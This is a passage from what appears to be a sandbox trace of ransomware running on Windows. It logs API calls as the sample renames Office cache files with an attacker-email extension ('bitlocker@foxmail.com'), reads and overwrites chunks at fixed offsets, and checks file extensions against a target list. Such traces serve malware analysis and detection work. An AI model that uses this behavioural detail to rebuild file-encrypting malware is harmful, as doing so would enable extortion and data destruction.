lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.444] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0052.444] CloseHandle (hObject=0x194) returned 1 [0052.444] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString=".doc") returned 4 [0052.445] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.445] lstrlenW (lpString=".docx") returned 5 [0052.445] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.445] lstrlenW (lpString=".pdf") returned 4 [0052.445] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.445] lstrlenW (lpString=".xls") returned 4 [0052.445] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.445] lstrlenW (lpString=".xlsx") returned 5 [0052.445] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.445] lstrlenW (lpString=".ppt") returned 4 [0052.445] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString=".zip") returned 4 [0052.445] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.445] lstrlenW (lpString=".rar") returned 4 [0052.445] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.445] lstrlenW (lpString=".bz2") returned 4 [0052.445] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.445] lstrlenW (lpString=".7z") returned 3 [0052.445] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString=".dbf") returned 4 [0052.445] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString=".1cd") returned 4 [0052.445] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString=".jpg") returned 4 [0052.445] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.445] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.446] lstrlenW (lpString=".doc") returned 4 [0052.446] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.446] lstrlenW (lpString=".docx") returned 5 [0052.446] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.446] lstrlenW (lpString=".pdf") returned 4 [0052.446] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.446] lstrlenW (lpString=".xls") returned 4 [0052.446] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.446] lstrlenW (lpString=".xlsx") returned 5 [0052.446] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.446] lstrlenW (lpString=".ppt") returned 4 [0052.446] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.446] lstrlenW (lpString=".zip") returned 4 [0052.446] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.446] lstrlenW (lpString=".rar") returned 4 [0052.446] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.446] lstrlenW (lpString=".bz2") returned 4 [0052.446] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.446] lstrlenW (lpString=".7z") returned 3 [0052.446] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.446] lstrlenW (lpString=".dbf") returned 4 [0052.446] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.446] lstrlenW (lpString=".1cd") returned 4 [0052.446] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0052.446] lstrlenW (lpString=".jpg") returned 4 [0052.446] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.446] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0052.446] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0052.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.447] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2503680) returned 1 [0052.447] CloseHandle (hObject=0x194) returned 1 [0052.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0052.447] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.447] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.447] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.448] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.448] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.448] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.702] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.702] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.710] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.710] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.710] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.725] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.725] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0052.742] SetEndOfFile (hFile=0x194) returned 1 [0052.742] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x4125518 [0052.772] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.772] WriteFile (in: hFile=0x194, lpBuffer=0x4125518*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4125518*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.773] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.773] WriteFile (in: hFile=0x194, lpBuffer=0x4125518*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4125518*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.779] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.779] WriteFile (in: hFile=0x194, lpBuffer=0x4125518*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x4125518*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.782] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4125518 | out: hHeap=0x6c0000) returned 1 [0052.782] CloseHandle (hObject=0x194) returned 1 [0052.782] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0052.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.782] lstrlenW (lpString=".doc") returned 4 [0052.782] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.782] lstrlenW (lpString=".docx") returned 5 [0052.782] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.782] lstrlenW (lpString=".pdf") returned 4 [0052.782] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.782] lstrlenW (lpString=".xls") returned 4 [0052.782] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.782] lstrlenW (lpString=".xlsx") returned 5 [0052.782] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.782] lstrlenW (lpString=".ppt") returned 4 [0052.782] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.782] lstrlenW (lpString=".zip") returned 4 [0052.782] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString=".rar") returned 4 [0052.783] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString=".bz2") returned 4 [0052.783] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.783] lstrlenW (lpString=".7z") returned 3 [0052.783] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString=".dbf") returned 4 [0052.783] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString=".1cd") returned 4 [0052.783] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString=".jpg") returned 4 [0052.783] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString=".doc") returned 4 [0052.783] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0052.783] lstrlenW (lpString=".docx") returned 5 [0052.783] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0052.783] lstrlenW (lpString=".pdf") returned 4 [0052.783] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString=".xls") returned 4 [0052.783] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString=".xlsx") returned 5 [0052.783] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0052.783] lstrlenW (lpString=".ppt") returned 4 [0052.783] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.783] lstrlenW (lpString=".zip") returned 4 [0052.783] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0052.783] lstrlenW (lpString=".rar") returned 4 [0052.783] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0052.784] lstrlenW (lpString=".bz2") returned 4 [0052.784] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0052.784] lstrlenW (lpString=".7z") returned 3 [0052.784] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0052.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.784] lstrlenW (lpString=".dbf") returned 4 [0052.784] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0052.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.784] lstrlenW (lpString=".1cd") returned 4 [0052.784] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0052.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0052.784] lstrlenW (lpString=".jpg") returned 4 [0052.784] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0052.784] lstrcmpiW (lpString1=".cab", lpString2=".wiki") returned -1 [0052.784] lstrlenW (lpString="ProjLR.cab") returned 10 [0052.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.791] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8265165) returned 1 [0052.791] CloseHandle (hObject=0x194) returned 1 [0052.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0052.791] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.791] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.792] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0052.792] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.792] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.792] ReadFile (in: hFile=0x194, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.811] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.811] ReadFile (in: hFile=0x194, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.824] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.824] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.824] ReadFile (in: hFile=0x194, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.285] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.285] WriteFile (in: hFile=0x194, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0053.640] SetEndOfFile (hFile=0x194) returned 1 [0053.640] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40f5508 [0053.640] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.640] WriteFile (in: hFile=0x194, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.641] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.641] WriteFile (in: hFile=0x194, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.643] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0053.643] WriteFile (in: hFile=0x194, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.645] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40f5508 | out: hHeap=0x6c0000) returned 1 [0053.645] CloseHandle (hObject=0x194) returned 1 [0053.646] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0053.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.646] lstrlenW (lpString=".doc") returned 4 [0053.646] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString=".docx") returned 5 [0053.646] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.646] lstrlenW (lpString=".pdf") returned 4 [0053.646] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString=".xls") returned 4 [0053.646] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString=".xlsx") returned 5 [0053.646] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.646] lstrlenW (lpString=".ppt") returned 4 [0053.646] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.646] lstrlenW (lpString=".zip") returned 4 [0053.646] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString=".rar") returned 4 [0053.646] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.646] lstrlenW (lpString=".bz2") returned 4 [0053.646] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.646] lstrlenW (lpString=".7z") returned 3 [0053.646] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".dbf") returned 4 [0053.647] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".1cd") returned 4 [0053.647] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".jpg") returned 4 [0053.647] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".doc") returned 4 [0053.647] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString=".docx") returned 5 [0053.647] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0053.647] lstrlenW (lpString=".pdf") returned 4 [0053.647] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString=".xls") returned 4 [0053.647] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString=".xlsx") returned 5 [0053.647] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0053.647] lstrlenW (lpString=".ppt") returned 4 [0053.647] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".zip") returned 4 [0053.647] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString=".rar") returned 4 [0053.647] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0053.647] lstrlenW (lpString=".bz2") returned 4 [0053.647] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0053.647] lstrlenW (lpString=".7z") returned 3 [0053.647] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0053.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.647] lstrlenW (lpString=".dbf") returned 4 [0053.647] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0053.648] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0053.648] lstrlenW (lpString=".1cd") returned 4 [0053.648] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 